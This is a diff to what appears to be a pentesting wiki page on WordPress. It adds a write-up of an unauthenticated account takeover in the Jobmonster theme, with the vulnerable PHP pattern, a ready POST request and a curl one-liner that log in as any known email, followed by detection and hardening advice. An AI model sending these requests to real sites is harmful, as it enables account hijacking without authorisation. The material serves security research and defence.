diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 549507bfc..7eea42ba0 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -766,6 +766,92 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. +## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) + +Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass. + +Typical flawed pattern (simplified) + +```php +public function check_login() { + // ... request parsing ... + switch ($_POST['using']) { + case 'fb': /* set $user_email from verified Facebook token */ break; + case 'google': /* set $user_email from verified Google token */ break; + // other providers ... + default: /* unsupported/missing provider – execution continues */ break; + } + + // FALLBACK: trust POSTed "id" as email if provider data missing + $user_email = !empty($user_email) + ? $user_email + : (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); + + if (empty($user_email)) { + wp_send_json(['status' => 'not_user']); + } + + $user = get_user_by('email', $user_email); + if ($user) { + wp_set_auth_cookie($user->ID, true); // πŸ”₯ logs requester in as that user + wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); + } + wp_send_json(['status' => 'not_user']); +} +// add_action('wp_ajax_nopriv_', [$this, 'check_login']); +``` + +Why it’s exploitable + +- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action). +- No nonce/capability checks before state change. +- Missing OAuth/OpenID provider verification; default branch accepts attacker input. +- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address. + +Exploitation (unauthenticated) + +- Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email. +- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=. + +```http +POST /wp-admin/admin-ajax.php HTTP/1.1 +Host: victim.tld +Content-Type: application/x-www-form-urlencoded + +action=&using=bogus&id=admin%40example.com +``` + +```bash +curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ + -d "action=&using=bogus&id=admin%40example.com" +``` + +Expected success indicators + +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. + +Finding the action name + +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. + +Detection checklist + +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. + +Hardening + +- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). +- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. + +Patched behaviour (Jobmonster 4.8.0) + +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). + ## References - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) @@ -778,4 +864,6 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) +- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) + {{#include ../../banners/hacktricks-training.md}}